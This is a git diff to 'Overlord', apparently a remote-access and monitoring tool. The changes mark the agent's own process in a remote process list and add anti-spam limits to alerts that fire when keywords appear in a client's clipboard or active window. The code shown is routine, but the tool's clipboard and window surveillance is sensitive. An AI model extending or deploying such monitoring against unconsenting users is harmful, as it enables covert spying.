diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go
index ce5429e..caca6d1 100644
--- a/Overlord-Client/cmd/agent/handlers/processes_unix.go
+++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go
@@ -6,6 +6,7 @@ package handlers
import (
"bufio"
"bytes"
+ "os"
"os/exec"
"strconv"
"strings"
@@ -15,6 +16,7 @@ import (
)
func listProcesses() ([]wire.ProcessInfo, error) {
+ selfPID := int32(os.Getpid())
cmd := exec.Command("ps", "aux")
output, err := cmd.Output()
@@ -78,6 +80,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
Memory: memBytes,
Username: username,
Type: procType,
+ Self: int32(pid) == selfPID,
})
}
diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go
index c0f324d..ba37bf3 100644
--- a/Overlord-Client/cmd/agent/handlers/processes_windows.go
+++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go
@@ -5,6 +5,7 @@ package handlers
import (
"fmt"
+ "os"
"strings"
"syscall"
"unsafe"
@@ -37,6 +38,7 @@ type PROCESS_MEMORY_COUNTERS struct {
}
func listProcesses() ([]wire.ProcessInfo, error) {
+ selfPID := int32(os.Getpid())
var pids [4096]uint32
var bytesReturned uint32
@@ -157,6 +159,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
Memory: memory,
Username: username,
Type: procType,
+ Self: pid == selfPID,
})
}
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 97577b9..8db01cf 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -153,6 +153,7 @@ type ProcessInfo struct {
Memory uint64 `msgpack:"memory"`
Username string `msgpack:"username,omitempty"`
Type string `msgpack:"type,omitempty"`
+ Self bool `msgpack:"self,omitempty"`
}
type ProcessListResult struct {
diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js
index 15f138e..28719f9 100644
--- a/Overlord-Server/public/assets/notifications.js
+++ b/Overlord-Server/public/assets/notifications.js
@@ -27,6 +27,9 @@ const keywordInput = document.getElementById("keyword-input");
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
const saveKeywordsBtn = document.getElementById("save-keywords");
const keywordHint = document.getElementById("keyword-hint");
+const antiSpamMaxHitsInput = document.getElementById("antispam-max-hits");
+const antiSpamWindowInput = document.getElementById("antispam-window");
+const antiSpamCooldownInput = document.getElementById("antispam-cooldown");
// Webhook section
const webhookEnabledInput = document.getElementById("webhook-enabled");
@@ -476,6 +479,15 @@ async function loadKeywords() {
if (clipboardEnabledInput) {
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
}
+ if (antiSpamMaxHitsInput) {
+ antiSpamMaxHitsInput.value = data?.notifications?.antiSpamMaxHits ?? 15;
+ }
+ if (antiSpamWindowInput) {
+ antiSpamWindowInput.value = Math.round((data?.notifications?.antiSpamWindowMs ?? 600000) / 60000);
+ }
+ if (antiSpamCooldownInput) {
+ antiSpamCooldownInput.value = Math.round((data?.notifications?.antiSpamCooldownMs ?? 600000) / 60000);
+ }
} catch {}
}
@@ -484,11 +496,21 @@ function wireKeywordSave() {
saveKeywordsBtn.addEventListener("click", async () => {
const keywords = parseKeywords(keywordInput.value);
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
+ const payload = { keywords, clipboardEnabled };
+ if (antiSpamMaxHitsInput) {
+ payload.antiSpamMaxHits = Math.max(1, parseInt(antiSpamMaxHitsInput.value, 10) || 15);
+ }
+ if (antiSpamWindowInput) {
+ payload.antiSpamWindowMs = Math.max(1, parseInt(antiSpamWindowInput.value, 10) || 10) * 60000;
+ }
+ if (antiSpamCooldownInput) {
+ payload.antiSpamCooldownMs = Math.max(1, parseInt(antiSpamCooldownInput.value, 10) || 10) * 60000;
+ }
try {
const res = await fetch("/api/notifications/config", {
method: "PUT",
headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ keywords, clipboardEnabled }),
+ body: JSON.stringify(payload),
});
if (!res.ok) {
window.showToast?.("Failed to save keywords", "error", 4000);
@@ -501,6 +523,15 @@ function wireKeywordSave() {
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
}
+ if (antiSpamMaxHitsInput && data?.notifications?.antiSpamMaxHits) {
+ antiSpamMaxHitsInput.value = data.notifications.antiSpamMaxHits;
+ }
+ if (antiSpamWindowInput && data?.notifications?.antiSpamWindowMs) {
+ antiSpamWindowInput.value = Math.round(data.notifications.antiSpamWindowMs / 60000);
+ }
+ if (antiSpamCooldownInput && data?.notifications?.antiSpamCooldownMs) {
+ antiSpamCooldownInput.value = Math.round(data.notifications.antiSpamCooldownMs / 60000);
+ }
window.showToast?.("Keywords updated", "success", 3000);
} catch {
window.showToast?.("Failed to save keywords", "error", 4000);
diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js
index b5cf816..115186b 100644
--- a/Overlord-Server/public/assets/processes.js
+++ b/Overlord-Server/public/assets/processes.js
@@ -255,6 +255,9 @@ function createProcessRow(proc, depth = 0) {
if (selectedPid === proc.pid) {
row.classList.add("selected");
}
+ if (proc.self) {
+ row.classList.add("self-process");
+ }
const cpuColor =
proc.cpu > 50
@@ -276,6 +279,7 @@ function createProcessRow(proc, depth = 0) {
}
let nameColor = "text-slate-200";
+ let iconClass = "fa-microchip";
let iconColor = "text-blue-400";
if (proc.type === "system") {
nameColor = "text-purple-400";
@@ -287,12 +291,21 @@ function createProcessRow(proc, depth = 0) {
nameColor = "text-green-300";
iconColor = "text-green-400";
}
+ if (proc.self) {
+ nameColor = "text-yellow-300 font-semibold";
+ iconClass = "fa-crosshairs";
+ iconColor = "text-yellow-400";
+ }
+
+ const selfBadge = proc.self
+ ? ' agent'
+ : "";
row.innerHTML = `
${proc.pid}
- ${indent}${treeIcon}
- ${escapeHtml(proc.name)}
+ ${indent}${treeIcon}
+ ${escapeHtml(proc.name)}${selfBadge}
${proc.cpu.toFixed(1)}%
${memoryStr}
diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html
index c5fe35b..33964c0 100644
--- a/Overlord-Server/public/notifications.html
+++ b/Overlord-Server/public/notifications.html
@@ -72,6 +72,46 @@
Monitor clipboard content for keyword matches
+
+
+
+
Anti-Spam Limits
+
+ Block a keyword for a client when it fires too many times in a short window.
+
+
+
diff --git a/Overlord-Server/public/processes.html b/Overlord-Server/public/processes.html
index 382140c..e264193 100644
--- a/Overlord-Server/public/processes.html
+++ b/Overlord-Server/public/processes.html
@@ -26,6 +26,14 @@
background-color: rgba(59, 130, 246, 0.3);
border-color: rgba(59, 130, 246, 0.6);
}
+ .process-row.self-process {
+ background-color: rgba(234, 179, 8, 0.12);
+ border-color: rgba(234, 179, 8, 0.5);
+ box-shadow: inset 3px 0 0 0 #facc15;
+ }
+ .process-row.self-process.selected {
+ background-color: rgba(234, 179, 8, 0.28);
+ }
/* Dark scrollbar styling */
#process-list::-webkit-scrollbar {
width: 12px;
@@ -189,6 +197,10 @@
Other
+
+
+ Overlord Agent
+
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index a560d2a..5ddf214 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -41,6 +41,9 @@ export interface Config {
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
+ antiSpamMaxHits: number;
+ antiSpamWindowMs: number;
+ antiSpamCooldownMs: number;
};
security: {
sessionTtlHours: number;
@@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = {
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
+ antiSpamMaxHits: 15,
+ antiSpamWindowMs: 600000,
+ antiSpamCooldownMs: 600000,
},
security: {
sessionTtlHours: 168,
@@ -438,6 +444,18 @@ export function loadConfig(): Config {
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
+ antiSpamMaxHits:
+ Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
+ fileConfig.notifications?.antiSpamMaxHits ||
+ DEFAULT_CONFIG.notifications.antiSpamMaxHits,
+ antiSpamWindowMs:
+ Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
+ fileConfig.notifications?.antiSpamWindowMs ||
+ DEFAULT_CONFIG.notifications.antiSpamWindowMs,
+ antiSpamCooldownMs:
+ Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
+ fileConfig.notifications?.antiSpamCooldownMs ||
+ DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
},
security: {
sessionTtlHours:
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 1e49da4..4022b56 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -232,6 +232,7 @@ export type ProcessInfo = {
memory: number;
username?: string;
type?: string;
+ self?: boolean;
};
export type ProcessListResult = {
diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts
index 90a57bf..d9ac054 100644
--- a/Overlord-Server/src/server/routes/notifications-config-routes.ts
+++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts
@@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes(
}
}
+ const antiSpamMaxHits =
+ typeof body?.antiSpamMaxHits === "number"
+ ? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits)))
+ : currentConfig.antiSpamMaxHits;
+ const antiSpamWindowMs =
+ typeof body?.antiSpamWindowMs === "number"
+ ? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs)))
+ : currentConfig.antiSpamWindowMs;
+ const antiSpamCooldownMs =
+ typeof body?.antiSpamCooldownMs === "number"
+ ? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs)))
+ : currentConfig.antiSpamCooldownMs;
+
const updated = await updateNotificationsConfig({
keywords,
webhookEnabled,
@@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes(
telegramBotToken,
telegramChatId,
clipboardEnabled,
+ antiSpamMaxHits,
+ antiSpamWindowMs,
+ antiSpamCooldownMs,
});
for (const client of clientManager.getAllClients().values()) {
diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts
index 8ea828c..847447f 100644
--- a/Overlord-Server/src/server/ws-notifications-plugin.ts
+++ b/Overlord-Server/src/server/ws-notifications-plugin.ts
@@ -33,6 +33,12 @@ type NotificationRateState = {
lastWarned: number;
};
+type AntiSpamState = {
+ hits: number;
+ windowStart: number;
+ blockedUntil: number;
+};
+
type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
@@ -45,6 +51,9 @@ type NotificationConfigShape = {
spamWindowMs?: number;
spamWarnThreshold?: number;
historyLimit?: number;
+ antiSpamMaxHits?: number;
+ antiSpamWindowMs?: number;
+ antiSpamCooldownMs?: number;
};
type CreateDeps = {
@@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) {
}
export function createNotificationPluginHandlers(deps: CreateDeps) {
+ const antiSpamState = new Map();
+
const pluginUIEventBuffer = new Map>();
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
@@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return true;
}
+ function checkAntiSpam(key: string, ts: number): boolean {
+ const notificationConfig = deps.getNotificationConfig();
+ const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15);
+ const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
+ const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
+
+ const state = antiSpamState.get(key);
+
+ if (state) {
+ if (ts < state.blockedUntil) {
+ return false;
+ }
+
+ if (ts - state.windowStart > windowMs) {
+ state.windowStart = ts;
+ state.hits = 1;
+ state.blockedUntil = 0;
+ antiSpamState.set(key, state);
+ return true;
+ }
+
+ state.hits += 1;
+ if (state.hits > maxHits) {
+ state.blockedUntil = ts + cooldownMs;
+ logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`);
+ antiSpamState.set(key, state);
+ return false;
+ }
+
+ antiSpamState.set(key, state);
+ return true;
+ }
+
+ antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 });
+ return true;
+ }
+
function pruneNotificationRate() {
const notificationConfig = deps.getNotificationConfig();
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
@@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
+
+ const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
+ const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
+ const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2;
+ for (const [key, state] of antiSpamState) {
+ if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) {
+ antiSpamState.delete(key);
+ }
+ }
}
setInterval(pruneNotificationRate, 60_000);
@@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
if (!shouldAcceptNotification(rateKey, ts)) {
return;
}
+ const antiSpamKey = `${clientId}:${keyword || title}`;
+ if (!checkAntiSpam(antiSpamKey, ts)) {
+ return;
+ }
const info = clientManager.getClient(clientId);
const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
@@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
+ for (const key of Array.from(antiSpamState.keys())) {
+ if (key === clientId || key.startsWith(`${clientId}:`)) {
+ antiSpamState.delete(key);
+ }
+ }
const item = { type: "notifications_cleared", clientId, ts: Date.now() };
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";